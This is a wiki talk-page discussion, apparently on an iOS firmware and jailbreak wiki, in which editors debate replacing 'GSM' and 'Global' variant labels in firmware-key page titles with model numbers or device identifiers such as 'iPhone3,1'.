:::Dropping the Build Train would only ''increase'' the workload. Besides, what's the harm with it? We've been using the same page title structure since forever, and it's worked. "''If it ain't broke, don't fix it''". The current system works, so ''why'', other than the fact that Apple refers to them differently, should we change this? In addition, we don't refer to everything the way Apple does. The [[iPad mini 1G]] is referred to as the "iPad mini". The [[iPad 3]] is refered to as "The New iPad". The [[iPad 4]] is refered to as "iPad with Retina Display"[http://www.apple.com/ipad/compare/]. Are the key pages titled <code>BrightonMaps 10B329 (The New iPad, Wi-Fi+3G for AT&T and Verizon)</code>? No. --[[User:5urd|5urd]] ([[User talk:5urd|talk]]) 00:37, 14 September 2013 (UTC)

::::But the reason we want to not use the variants is because the new devices that are coming out are breaking he structure and also CDMA versions can use GSM in the 5c plus we have like 4 for GSM alone. I only meant drop buildtrain to shorten the urls down. For the iPhone 4 GSM Rev A we would have to list it as <code>iPhone 4 A1432 Rev</code> unless another idea is thought of. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 00:55, 14 September 2013 (UTC)

:::::No. Anything involving moving key pages to change their title I am ''completely'' against. As for the iPhone 5s and iPhone 5c, we ultimately have to wait. There may be different types, but if they all work with the same firmware, then what do we do then? Use <code>A1456/A1504</code>? I don't want to do that. It can get confusing in the future if that list were to be huge. With ''5'' different models for the iPhone 5c ''alone'', it's just not practical. For the fact that all support GSM, but not all support CDMA, we just do what we've ''been'' doing: "GSM" and "Global". --[[User:5urd|5urd]] ([[User talk:5urd|talk]]) 01:22, 14 September 2013 (UTC)

::::::There's nothing wrong with changing the titles of pages that don't even exist though. If *all* of the models use the same firmware, just go with "iPhone 5s." If they happen to be partitioned into two different firmwares again, that will certainly complicate things, but it wouldn't be worse than nonsense like "GSM," "GSM [<nowiki />Global]," "CDMA," "CDMA [<nowiki />Global]," or "GSM [<nowiki />Global Plus TD-LTE]." If it's just one oddball, we could just have "iPhone 5s" and "iPhone 5s A1XXX" (whatever the odd one is), and include a link on the former page to say "keys for model A1XXX are on this page." --[[User:Dialexio|Dialexio]] ([[User talk:Dialexio|talk]]) 02:50, 14 September 2013 (UTC)

::::I probably didn't phrase that well… I wasn't thinking of how Apple markets the product, but rather more along the lines of how they refer to it in, say, the tech specs page or support documents— the pages that shows the messier side to their simple sugar coating. --[[User:Dialexio|Dialexio]] ([[User talk:Dialexio|talk]]) 02:50, 14 September 2013 (UTC)

::You keep misinterpreting/misrepresenting what I'm proposing. I never said anything about dropping, say, "iPhone 5" so firmware page titles would look like [[Sundance 10A405 (A1428)]]. I want to change the GSM/Global part to the A1XXX number, so it would probably show like [[Sundance 10A405 (iPhone 5 A1428)]]. (If a hardware revision were made, it would probably look like [[Sundance 10A405 (iPhone 5 A1428 Rev A)]].) From time to time, I edit URLs to browse the wiki too. But the GSM/Global identifiers don't work that well; again, '''all iPhone 5 models can connect to GSM'''. That's not really helpful. --[[User:Dialexio|Dialexio]] ([[User talk:Dialexio|talk]]) 02:50, 14 September 2013 (UTC)

:::I suggest we drop the A and use Rev. As for the idea of changing to A1XXX, I see no issues and am for the idea. I admit it can cause chaos when we move the pages but we could limit the moving per day of course. Overall, I think it will be worth it. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 10:01, 14 September 2013 (UTC)

::::No. Don't drop the <code>A</code> from <code>Rev A</code>. Why would you even think to? You want to call them what Apple calls them, and the [[n90bap|revised iPhone 4 GSM]] is referred to with <code>Rev A</code>. In addition, there have been <code>Rev ''B''</code> things before, such as the [[S5L8947]] (A5 Rev B) used in the [[j33iap|revised Apple TV 3G]]. In addition, think of all the redirects we would need to keep for sites that link to key pages directly. I have even seen sites that still link with the URLs as <code>/wiki/index.php?title={Title}</code> instead of the year old change to <code>/wiki/{Title}</code>. The wiki handles that internally for us, but the redirects made in the moves would have to be kept. Currently, only the [[iPhone 5]] and [[iPad 4]] are the only devices referred to by their model numbers. --[[User:5urd|5urd]] ([[User talk:5urd|talk]]) 20:53, 14 September 2013 (UTC)

:::That's why I don't want to change it. It's worked for us, and we have no idea how the new firmwares will be handled. I am betting that there will only be two firmware types - one for the GSM, and one for the Global (GSM+CDMA) model. The only reason they are split, IIRC, is because AT&T uses different LTE bands than rest of the GSM world.
:::Ultimately, the GSM/CDMA/Global monikors haven't caused any ''naming conflicts''. Ok, you don't want to use the ''marketing'' title. What about the way they are referred to on [[Apple Developer Center|ADC]], because that seems to be what you want. I may be misreading what you're saying again, but if we're going to do that, let's use their ''full'' title. Something <code>(iPad [4th generation Model A1458])</code> (iPad 4 Wi-Fi) and <code>(iPad Wi-Fi + Cellular [model for Verizon])</code> (iPad 3 Global). Does the first one tell you if the device is Wi-Fi or a Wi-Fi+3G model? Does the second one tell you ''at all'' that it is an [[iPad 3]], or that it supports GSM? No.
:::Apple has a history of being inconsistent. For example, the iPad 3 Wi-Fi is referred to on ADC (and iTunes) as "iPad Wi-Fi (3rd generation)" while the iPad 3 GSM is referred to as "iPad Wi-Fi + Cellular [model for AT&T]". What happened to the "3rd generation"? --[[User:5urd|5urd]] ([[User talk:5urd|talk]]) 20:53, 14 September 2013 (UTC)

::::We could always list as <code>iPhone 4 (iPhone3,1)</code> etc instead if that would be better. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 21:13, 14 September 2013 (UTC)

::::Why is there a need to explicitly keep "Wi-Fi" in a key page's title? All you need is a way to distinguish what model it is from its other variants— the A1XXX model number does just that. It's not like we referred to the AppleTV3,2 as "Apple TV 3G (New Single-Core A5)" or something. And obviously, we can use common sense to address the 3rd generation iPad issue you brought up… Now you're just nitpicking. --[[User:Dialexio|Dialexio]] ([[User talk:Dialexio|talk]]) 05:28, 15 September 2013 (UTC)
:::::Actually, I think we should wait until we see the firmware for iPhone 5c/5s and then decide. TBH, as [[User:5urd|5urd]] said, it is ok as it is but of course if once the new firmware is out it is more confusing, then we can think again. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 14:12, 15 September 2013 (UTC)

:::::Come to think of it, we can use a mix of both; we can keep the "Global" moniker, but drop the "GSM" moniker in favor of the A1XXX model number. (The "GSM" moniker is the one that's been bothering me.) I think this works well for the iPad 3 (which is actually split into "CDMA" and "Global—" it probably doesn't need to be done for this), iPad 4, iPad mini 1G, and iPhone 5, but this leaves the question of what to do for the iPhone 5C/5S. --[[User:Dialexio|Dialexio]] ([[User talk:Dialexio|talk]]) 04:04, 19 September 2013 (UTC)

::::::That would look worse! If we are going to do it, we have to do it for '''''all'''''. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 09:40, 19 September 2013 (UTC)

:::::::What is the status on this now? --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 21:18, 9 November 2013 (UTC)

:::::This discussion has stagnated, but I'm firing it up again— I want to fix this before the end of the year, so this can probably be seen as an ultimatum. Now that Apple has pushed a 7.1 beta to developers, we now know how Apple's splitting the new iPhones up— and it's by A1XXX model numbers still. :\ That's probably the path the wiki will go down, but I do have another idea. The other idea I have in mind is using the A1XXX model number for the cellular devices launched last year. But for this year's iPhones, the FCC ID is actually different between the two, so we could actually use that. Before this gets nitpicked on, the last letter can get changed to an "X" to signify that it's a wildcard of sorts. It's not a pretty solution so I do expect it to get shot down (hence why I'm going with the A1XXX model numbers unless everyone says otherwise), but I'm still throwing it out there in case everyone actually likes that. Everyone is welcome to suggest alternatives, but I '''will''' eliminate that GSM label before the year ends. --[[User:Dialexio|Dialexio]] ([[User talk:Dialexio|talk]]) 18:31, 18 November 2013 (UTC)

::::::That is worse, nobody knows the FCC ID off the top of their head. I would suggest "iPhone 5 (iPhone5,1)" if anything. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 18:37, 18 November 2013 (UTC)

:::::::Using "iPhone5,1" or "iPhone6,2" is even ''less'' friendly… The FCC ID can be looked up in Settings or the back of a device. --[[User:Dialexio|Dialexio]] ([[User talk:Dialexio|talk]]) 19:06, 18 November 2013 (UTC)

::::::::Well that is not the point. I say either use the firmware name or leave it alone. See what others thing though. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 19:13, 18 November 2013 (UTC)

:::::::::I currently plan on using the A1XXX model numbers— the FCC ID proposal was just thrown out there in the off chance that someone might like it. I'm not really a fan of it myself, but the FCC ID is probably the simplest way to figure out if it's an iPhone6,1 or iPhone6,2 since both have multiple A1XXX model numbers. --[[User:Dialexio|Dialexio]] ([[User talk:Dialexio|talk]]) 19:19, 18 November 2013 (UTC)

::::::I agree to get rid of the "GSM" name, as almost all iPhones support GSM. The Axxxx numbers would be nice, but as some phones have several numbers, like A1457/A1518/A1528/A1530 (what is actually different between them?) we can't use it. For the FCC-ID, we can't use that either, because for example the iPhone 5 with FCC-ID BCG-E2599A stands for the GSM/A1428 and also for the GSM+CDMA/A1429 version. So I suggest to either use the identifier (like iPhone2,1) or better the internal name (like n88ap). That would have the advantage to separate them further, because the iPhone 4 A1332 has two internal versions: iPhone3,1/n90ap and the iPhone3,2/n90bap. The bigger question is where you want to use this. That determines mainly the name. On all the key pages? Then it must be a name that is different between models that use different firmwares. And regarding key pages, maybe we should delete all the key pages from this wiki and move them into some database instead and provide a nice user interface and API around it and integrate that into the wiki somehow. That way we can change all pages with one simple edit. For the name, I prefer the internal name. --[[User:Http|http]] ([[User talk:Http|talk]]) 23:43, 18 November 2013 (UTC)

:::::::We would have to edit key pages too. They should not be removed however. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 23:46, 18 November 2013 (UTC)

:::::::Well, I wasn't trying to say that we had to decide on one way to differentiate ''everything''; "GSM" does work fine for, say, the iPhone 4. The proposal I brought up today was using the FCC ID only for this year's (2013's) iPhones— last year's cellular devices would get the A1XXX model numbers (i.e. two different solutions for two different years). But as of right now, I like how using A1XXX model numbers sounds for all of the affected devices, mostly because that's the path Apple's going in their developer portal. Something like "iPhone 5s (Model A1457/A1518/A1528/A1530)" is admittedly a mouthful for this year's iPhones though. At the moment, I'm inquiring about how to label it on [[Firmware]] and such pages, but I'm sure the outcome can be adapted for key page titles as well. As for differences between the models, it seems to be the supported LTE bands. --[[User:Dialexio|Dialexio]] ([[User talk:Dialexio|talk]]) 03:49, 19 November 2013 (UTC)

:::::::::I still think that unless it is "iPhone 5 (iPhone5,1)" it will be complicated but on the other hand, I kind of like the idea that [[User:Http|http]] had, using the internal identifiers like this "iPhone 5 (n42ap)". The only problem is that it would cause quite a bit of a flood moving the key pages, although this can be done like 15 per day each or something. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 09:20, 19 November 2013 (UTC)

::::::::::I'm pretty sure the only key page that exists for an A5 (or newer) device is [[Telluride 9A406 (iPhone 4S)]]. --[[User:Dialexio|Dialexio]] ([[User talk:Dialexio|talk]]) 17:40, 21 November 2013 (UTC)

:::::::::::That was an example. I know there are no more A5 pages, only the one you said and two beta for iPhone 4S. I just meant that it would show the design. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 13:36, November 21, 2013 (UTC)

== "GSM" Replacement Proposals ==
Since this discussion has become extremely lengthy, here are the proposals (to my understanding) for changing the labels, each of which can be subject to changes (i.e. dropping the word "Model" from Proposal A). In an effort to conserve space (ironically, this still adds a significant amount of length), I only included a few models, which should give an idea of the proposal. Basically anything with an A5 or newer is involved. Feel free to edit this list if I missed or totally misinterpreted something. --[[User:Dialexio|Dialexio]] ([[User talk:Dialexio|talk]]) 03:25, 22 November 2013 (UTC)
# Proposal A (A1XXX numbers)
#* iPad 4 (Model A1458)
#* iPad 4 (Model A1459)
#* iPad 4 (Model A1460)
#* iPhone 5 (Model A1428)
#* iPhone 5 (Model A1429/A1442)
#* iPhone 5c (Model A1456/A1532)
#* iPhone 5c (Model A1507/A1516/A1526/A1529)
#* [[InnsbruckTaos 11B554a (iPad 4 A1458)]]
#* [[InnsbruckTaos 11B554a (iPhone 5 A1429/A1442)]]
#* [[InnsbruckTaos 11B554a (iPhone 5c Model A1507/A1516/A1526/A1529)]]
# Proposal B (A1XXX + FCC ID)
#* iPad 4 (Model A1458)
#* iPad 4 (Model A1459)
#* iPad 4 (Model A1460)
#* iPhone 5 (Model A1428)
#* iPhone 5 (Model A1429/A1442)
#* iPhone 5c (BCG‑E2644A)
#* iPhone 5c (BCG‑E2694X)
#* [[InnsbruckTaos 11B554a (iPad 4 A1458)]]
#* [[InnsbruckTaos 11B554a (iPhone 5 A1429/A1442)]]
#* [[InnsbruckTaos 11B554a (iPhone 5c BCG‑E2694X)]]
# Proposal C (-AP Identifier)
#* iPad 4 (p101ap)
#* iPad 4 (p102ap)
#* iPad 4 (p103ap)
#* iPhone 5 (n41ap)
#* iPhone 5 (n42ap)
#* iPhone 5c (n48ap)
#* iPhone 5c (n49ap)
#* [[InnsbruckTaos 11B554a (iPad 4 p101ap)]]
#* [[InnsbruckTaos 11B554a (iPhone 5c n42ap)]]
#* [[InnsbruckTaos 11B554a (iPhone 5c n49ap)]]
# Proposal D (iPhoneX,Y Identifier)
#* iPad 4 (iPad3,4)
#* iPad 4 (iPad3,5)
#* iPad 4 (iPad3,6)
#* iPhone 5 (iPhone5,1)
#* iPhone 5 (iPhone5,2)
#* iPhone 5c (iPhone5,3)
#* iPhone 5c (iPhone5,4)
#* [[InnsbruckTaos 11B554a (iPad3,4)]]
#* [[InnsbruckTaos 11B554a (iPhone5,2)]]
#* [[InnsbruckTaos 11B554a (iPhone5,4)]]

:I like this [[InnsbruckTaos 11B554a iPad 4 (3,4)]] or [[InnsbruckTaos 11B554a iPad 4 (iPad3,4)]]. I see there are 4 ways to approach this;
1. Change every single device. 
2. Change just devices with different variants, iPad 2+, iPad mini+, iPhone 4, iPhone 5+. 
3. Change A5+ only (which I hate the idea of). 
4. Change nothing at all. 
--[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 09:28, 22 November 2013 (UTC)
::My intention for this was to be a ''neutral'' (i.e. opinion-free) spot where all of the proposals were being mentioned, so people could easily see the proposed changes without any bias… v.v --[[User:Dialexio|Dialexio]] ([[User talk:Dialexio|talk]]) 20:54, 22 November 2013 (UTC)
:::TBH, I think it is better as it is, but I just stated my opinion that only A5+ would make in inconsistent. Though you could argue it is already, that is down to Apple and furthermore, just A5+ would still not eliminate iPhone 4 (GSM, GSM Rev A or CDMA). --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 17:07, November 22, 2013‎ (UTC)}}
:Do it like #4, and do them all. --[[User:CompilingEntropy|CompilingEntropy]] ([[User talk:CompilingEntropy|talk]]) 18:40, 23 November 2013 (UTC)
::::It will be a pain, but I like [[User:CompilingEntropy|CompilingEntropy]]'s idea as it would make it much much better in the end. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 16:25, 25 November 2013 (UTC)
:I would say A and B are impossible due to various numbers in the same model. I like C best. For variant C you could also leave away the "ap" at the end, because every model has that, so it would be even shorter. For D, that's simply longer names and these names are not used at many places, but I could live with that version as well. --[[User:Http|http]] ([[User talk:Http|talk]]) 23:30, 1 December 2013 (UTC)
Taking into account everyone's thoughts on this, I think we'll probably go with option C. The wiki already uses the "-ap" identifiers for the model pages, and an identifier like "iPad3,4" may confuse someone into thinking it's a model of the [[iPad 3]]. (I would still like to use the A1XXX numbers since Apple does that, but nobody else seems to agree now…) I'll give this a few more days for any last words before acting on it. --[[User:Dialexio|Dialexio]] ([[User talk:Dialexio|talk]]) 04:03, 26 December 2013 (UTC)
::It '''will''' get changed before the year ends. I don't know why your opinion keeps changing, but I have already explained the reason for changing it. You even agreed that it needs to be changed. I'm still open to suggestions on what to change it to though. Keep in mind that the change will affect not only key pages, but also how the devices will be referred to throughout the wiki. --[[User:Dialexio|Dialexio]] ([[User talk:Dialexio|talk]]) 19:34, 26 December 2013 (UTC)
:::I know it will. I said it is fine to change. I like bot #3 and #4. Only point I must make is that I feel we should change all devices with multiple variants, including iPad Air and iPhone 4. This way, it is consistent and also removes GSM etc altogether. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 19:48, 26 December 2013 (UTC)
::I agree with Adam, if you're going to change some of them then change all of them. This includes iPods. Whatever the outcome, be consistent. As for the outcome itself, I really think we should just use device identifiers (iPhone2,1). That's what we're actually differentiating by, so it only makes sense to refer to devices by them. I don't think there would be any confusion, especially considering we'll keep the name of the device next to it regardless. Barring that, the next best option is ***ap. The other options don't make any sense considering modern devices. --[[User:CompilingEntropy|CompilingEntropy]] ([[User talk:CompilingEntropy|talk]]) 10:54, 30 December 2013 (UTC)
:::I like [[User:CompilingEntropy|CompilingEntropy]]'s idea, though I do not mind if we do every device or just ones with multiple variants, as long as that included pre A5 (iPhone 4) too. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 18:34, 30 December 2013 (UTC)

== "GSM" Replacement Proposals (cont.) ==
So this entire discussion came up because we need to remove "GSM" from models, because there are many models nowadays where the non-GSM model or Global or whatever model, all support GSM. One suggestion was the FCC number, but I think we already agreed that this is out of discussion (only used within USA and nobody refers to this number). So we have to use either
*The Axxxx number (like A1332 for the iPhone 4). This is how Apple identifies their devices.
*The ap number (like n94ap or just short N94). This is the internal name and used in internal references, like in the [[iBEC]] or [[iBSS]] filenames within an [[IPSW]]. (This is also what iH8sn0w has on his stickers on the devices.)
*The 1,2 number (like iPad1,1 for the iPad 1G). This identifier is used in the [[IPSW]] filenames.
There are several issues with using one over the other:
*Some devices (iPad 1G, iPhone 3G, iPhone 3GS, iPhone 4S, iPhone 5, iPhone 5c, iPhone 5s to be exact) have multiple Axxxx numbers for the same ap number/1,2 number. For example the iPad 1G: A1219 (WiFi model) and A1337 (GSM model) both have k48ap / iPad1,1. So only the Axxxx number could be used to replace the "GSM" identifier.
*The iPhone 4 has for A1332 two ap numbers/1,2 numbers: A1332 stands for both n90ap/iPhone3,1 and also for n90bap/iPhone3,2.
*The iPod touch 5G has the same 1,2 number for two ap numbers/Axxxx numbers: iPod5,1 stands for both A1421/n78ap and also for A1509/n78aap.
I understand the point from [[User:IAdam1n|iAdam1n]] somehow that we should make it consistent and change it everywhere in the same manner. The question is where to change what. So where do we use these terms?
*The biggest affected change would be the key pages, so any change there should be carefully considered. Currently we use something like: "InnsbruckTaos 11B554a (iPhone 5c Global)". So the discussion here is just about the change in the brackets. For the devices where no different hardware versions exist, I think the current naming is ok. So let's just continue using that. Only where different (sub-)devices exist for the same main model (like for the iPhone 5c) and they require a different firmware file, then we need to specify it. So we need to add something after the "iPhone 5c" to specify the difference. For older devices, we should leave it as it is, because it works very well there. For example the iPad 1G WiFi and GSM require different firmware, but can be differentiated that way. And we can't use the ap number, because both versions use k48ap, respectively iPad1,1. So I think we should leave the old devices as they are. For newer devices, like the iPhone 5c, there are only two variations for the firmware, but six different Axxxx numbers and we don't want to list all of them in the firmware name. We also cannot use "GSM" for the reason mentioned at the introduction. I would prefer to use the ap number there, but that yields to problems. In case of the iPod touch 5G, we have two models (A1421/n78ap and also A1509/n78aap). Fortunately both use the same firmware, so we don't have to specify anything. But if Apple would release an additional model that would require a different firmware, we would have to specify the name even here and we can't add a name like "n78ap+n78aap". The name iPod5,1 there seems to be the obvious choice, as it is contained in the ipsw name already, so it is unlikely that Apple will change that. The only question is the format then. My choice would be to keep it short, something like "InnsbruckTaos 11B554a (iPhone 5c [5,4])" instead of the current "InnsbruckTaos 11B554a (iPhone 5c Global)". We shouldn't repeat the word "iPhone" there. And we shouldn't remove the "5c" of the original name.
*We also have some hardware lists, for example on the key pages titles where we list under iPad 2: Wi-Fi, GSM, CDMA, Wi-Fi (A). They link directly to our ap-pages, for example the "Wi-Fi (A)" name links to "k93aap". I think we don't need to change this. For the iPhone 5c, we have GSM and Global and they also link to the ap-pages. The link remains there, so we would only change the name. I suggest to use the same short name as in the key page extension, so something like my suggested "[5,4]" for example (instead of "GSM").
*On the [[Models]] page, we have the column "Variant", which also lists "GSM" and "Global" etc. That would also need to change. I suggest to leave it for older devices where "GSM" is a valid differentiation. For newer devices we might list the bands it supports or something else.
*On hardware pages, like [[iPhone]], we also have names and links in the title bar. For devices that have different sub-devices (like the iPhone 4 and iPhone 5/5c/5s) I suggest to rename the title names to the ap-names, as they link to the respective page. I would not change the title "iPhone 3G" to "N82ap" although it links there. So this change would only apply to sub-titles.
--[[User:Http|http]] ([[User talk:Http|talk]]) 00:26, 31 December 2013 (UTC)
:Include iPhone 4 in the change and use same format everywhere on the wiki. I agree that we do not need to change devices with only one variant such as iPhone 3GS. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 00:59, 31 December 2013 (UTC)
:: I agree on that. 3GS, 3G and the 1st iPhone are anyway devices where I do not see too many wiki-related changes in the future.--[[User:M2m|M2m]] ([[User talk:M2m|talk]]) 09:57, 31 December 2013 (UTC)
:I don't like how the abbreviated form of "iPad3,4" looks— I understand wanting to keep "iPad 4" in the name, but I can't come up with alternatives besides going with only the identifier. (Another issue is that MediaWiki's markup parser doesn't seem to like square brackets in links— I tried using <code><nowiki><nowiki /></nowiki></code>.) Having thought it over for a few days, I'm more receptive to changing all multi-variant devices (i.e. including the iPhone 4), but my concern about the Recent changes getting flooded with page moves still exists. The page moves should be done on "quiet" days, when the wiki doesn't see much activity. That being said, this is my understanding of the proposed changes. Does everyone agree with the following?
:* On pages like [[iPhone]], the variant labels will be replaced with the identifier, e.g. iPhone3,1/iPhone3,2/iPhone3,3. (An exception will probably need to be made for the iPad1,1. The "Internal Name" row should also be modified because there will be duplicated information.)
:* On [[Models]], the variant labels will be replaced with something else for the iPhone 5 and newer. (I feel like there are too many LTE bands to list in such a spot, but I don't have any better ideas.)
:* On pages such as [[Firmware]] and [[Jailbreak]], labels will be changed to things like "iPhone 4 (iPhone3,1)" and "iPad 4 (iPad3,4)." Single-variant devices like the Apple TV 2G will remain as-is.
:* The key pages will be moved to a different title, to resemble the following.
:** <del>[[InnsbruckTaos 11B554a (AppleTV3,1)]]</del> [[InnsbruckTaos 11B554a (Apple TV AppleTV3,1)]]
:** <del>[[InnsbruckTaos 11B554a (iPad2,4)]]</del> [[InnsbruckTaos 11B554a (iPad 2 iPad2,4)]]
:** <del>[[InnsbruckTaos 11B554a (iPhone3,1)]]</del> [[InnsbruckTaos 11B554a (iPhone 4 iPhone3,1)]]
:** [[InnsbruckTaos 11B554a (iPod touch 5G)]]
:Do let me know if I missed something. --[[User:Dialexio|Dialexio]] ([[User talk:Dialexio|talk]]) 23:57, 31 December 2013 (UTC)
::I agree with your idea [[User:Dialexio|Dialexio]], but make every page use iPhone 4 (iPhone3,1) etc. Of course if pages use iPhone 4 (GSM) now, change that to iPhone 4 (iPhone3,1) or iPhone 4 (3,1). I would suggest moving 10 pages per day for the iPhone 4 to avoid flooding. I do not want some pages to include the AP identifier and some others iPhone3,1 for example. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 00:08, 1 January 2014 (UTC)
:::Several comments:
*The square brackets were just an idea, nothing agreed on that yet. And yes, let's forget this idea if it has problems with MediaWiki.
*The beginning of the name should remain, otherwise we're getting inconsistent with other pages. I agree with [[User:IAdam1n|iAdam1n]] on this. To keep it short, my favorite would be something like "iPhone 4 (3,1)" then. But to make it more clear, "iPhone4 (iPhone3,1)" is also ok to me. If you wanted to leave the first part away and just use "iPhone3,1", then we would have to rename ALL pages (that's also an option).
*Regarding flooding, I prefer that we do all changes at once, at an agreed date/time, done by [[User:Dialexio|Dialexio]]. Maybe in two steps: first step to change the few hardware pages plus one page of each device of the key pages. In the second step the rest. This would ensure that any misunderstandings get catched in the first step, before all pages are renamed. I don't like to have 20 edits per day that I have to go through. Better all at once, but only after agreement of all.
*Yes, we can do iPhone 4 too, if that't the only missing one. It was a misunderstanding on my part for iPad GSM/WiFi, as this doesn't have different firmwares (only on hardware pages needed).
*Regarding the proposed listing of the bands on the [[Models]] page, Variant column, we could only list the bands that are different to make it short.

Can we list here what pages would be affected by the changes? Feel free to edit this list here within my comment. Here's what I have in mind:
*[[Models]]
*[[Apple TV]], [[iPad]], [[iPad mini]], [[iPhone]], [[iPod touch]]
*[[Firmware Keys]]
*[[Firmware]], [[Beta Firmware]]
*[[Jailbreak]]
*[[Application Processor]]
*[[Main Page]] - for Application Processors and Baseband Devices.
*[[:Category:Baseband]] - some pages state models and also the baseband devices, such as [[MDM6600]].
*[[Template:Keys]]
*[[P0sixspwn]]
*[[:Timeline]]
*[[SHSH]]
*key pages: iPhone 4 GSM (like [[Telluride 9A334 (iPhone 4 GSM)]]), total 69 existing pages
*key pages: iPhone 4 GSM (A) (like [[InnsbruckVailPrime 11A4372q (iPhone 4 GSM Rev A)]]), total 21 existing pages
*key pages: iPhone 4 CDMA (like [[BrightonMaps 10B329 (iPhone 4 CDMA)]]), total 50 existing pages
*key pages: iPhone 5 GSM (nonexistent)
*key pages: iPhone 5 Global (nonexistent)
*key pages: iPhone 5c and 5s (nonexistent)
*key pages: iPad 2 Wi-Fi (like [[Durango 8G4 (iPad 2 Wi-Fi)]]), total 5 existing pages
*key pages: iPad 2 GSM (like [[Durango 8G4 (iPad 2 GSM)]]), total 5 existing pages
*key pages: iPad 2 CDMA (like [[Durango 8G4 (iPad 2 CDMA)]]), total 5 existing pages
*key pages: iPad 2 Wi-Fi Rev A (nonexistent)
*key pages: iPad 3 Wi-Fi (nonexistent)
*key pages: iPad 3 CDMA (nonexistent)
*key pages: iPad 3 Global (nonexistent)
*key pages: iPad 4 Wi-Fi (nonexistent)
*key pages: iPad 4 GSM (nonexistent)
*key pages: iPad 4 Global (nonexistent)
*key pages: iPad Air Wi-Fi (nonexistent)
*key pages: iPad Air Cellular (nonexistent)
*key pages: iPad mini Wi-Fi (nonexistent)
*key pages: iPad mini GSM (nonexistent)
*key pages: iPad mini Global (nonexistent)
*key pages: iPad mini 2G Wi-Fi (nonexistent)
*key pages: iPad mini 2G Cellular (nonexistent)
The key pages would get moved without redirect and all references updated. The references should also be in this list above. Add it to the list if I forgot anything.
--[[User:Http|http]] ([[User talk:Http|talk]]) 15:07, 1 January 2014 (UTC)
::::Yes that is fine. I said the 10 a day to avoid a big flood, but I do not mind either way. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 15:13, January 1, 2014‎ (UTC)
::::Looks good. I amended the list to include the iPads as well. --[[User:Dialexio|Dialexio]] ([[User talk:Dialexio|talk]]) 17:51, 1 January 2014 (UTC)
:::::So most of you seem to agree on the the generic change now. But what is missing is the exact naming. We have three variations still in discussion:
:::::#"iPhone 4 (3,1)"
:::::#"iPhone 4 (iPhone3,1)"
:::::#"iPhone 4 3,1"
:::::#"iPhone 4 iPhone3,1"
:::::I just noticed that we cannot use the round brackets, because this entire part is already enclosed in round brackets - otherwise we would have nested brackets and in grammar I think you have to use square brackets which are not allowed in MediaWiki. So this leaves us with #3 and #4. #3 looks silly without the brackets, so we probably have to use #4 as [[User:Dialexio|Dialexio]] suggested. --[[User:Http|http]] ([[User talk:Http|talk]]) 23:55, 1 January 2014 (UTC)
::::::I agree with #4, looks better as I feel that #3 needs some sort of brackets if we used that. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]])
::::::Wow, time really flies when you sleep all day. I've missed a ''lot''. Ok. I'm happy we decided to use the firmware moniker instead of something else. Personally, I don't like #1 because it just looks weird IMO. In addition, #1 and #2 would require the use of brackets (<code>(iPhone 4 [3,1])</code>) which would require the use of <code><nowiki/></code> all over the place, and that will get not only ugly, but annoying. I agree #3 looks weird. However, #4 just looks redundent. I personally would like just <code>iPhone3,1</code>, but if I would have to put my vote on one of those last two, it would be #4. --[[User:5urd|5urd]] ([[User talk:5urd|talk]]) 08:20, 2 January 2014 (UTC)
:::::::One last comment: We could also just use "iPhone3,1" (leaving the leading "iPhone 4" completely away). That would have two advantages and two disadvantages:
:::::::*+ shorter
:::::::*+ future-proof; if we ever decide to rename the rest as well, this is the way to name it
:::::::*- somehow inconsistent with non-ambiguous other key pages (although ambiguous and non-ambiguous pages are different now anyway)
:::::::*- less easy to understand from the name what device it is (but the iOS version is also not directly visible)
:::::::--[[User:Http|http]] ([[User talk:Http|talk]]) 11:10, 2 January 2014 (UTC)
::::::::To me, that makes it worse. Why can we not use the rounded "()" brackets? I mean, it will only be duplicated in the key page urls, in which if it must be, just do "iPhone 4 iPhone3,1". Does not seem too bad to me. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 11:18, 2 January 2014 (UTC)
::::::::::We ''don't want to'' use parenthesis because then we get double parenthesis (<code>Telluride 9A334 (iPhone 4 (3,1))</code>). We would have to use braces (<code>Telluride 9A334 (iPhone 4 [3,1])</code>), but MediaWiki chokes when there's braces in a link unless you use <code><nowiki/></code>; and that would mean ''everywhere'' there's a firmware link. --[[User:5urd|5urd]] ([[User talk:5urd|talk]]) 13:19, 2 January 2014 (UTC)
::::::::That ''is'' what I suggested in my reply... As for your first disadvantage, it only applies to the iPads where Apple has gotten confusing. Actually, now that I think of that, option #4 above does look nice. However, I still don't like the redundency of having <code>iPhone</code> in there twice. And as I said before, options #1 and #3 just look weird. So we're stuck at either redundency or looking weird. But then again, it wouldn't be redundent for the non-existent iPad key page links where Apple decided to be annoying with their firmware monikers. --[[User:5urd|5urd]] ([[User talk:5urd|talk]]) 13:19, 2 January 2014 (UTC)
:::::::::Could we not just use the parenthesis but just not in the key page URL's? I mean, "iPhone 4 (iPhone3,1)" but in the urls for key pages, <code>Telluride 9A334 (iPhone_4_iPhone3,1)</code>? That seems fine here. The underscores are currently there anyway. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 13:32, 2 January 2014 (UTC)
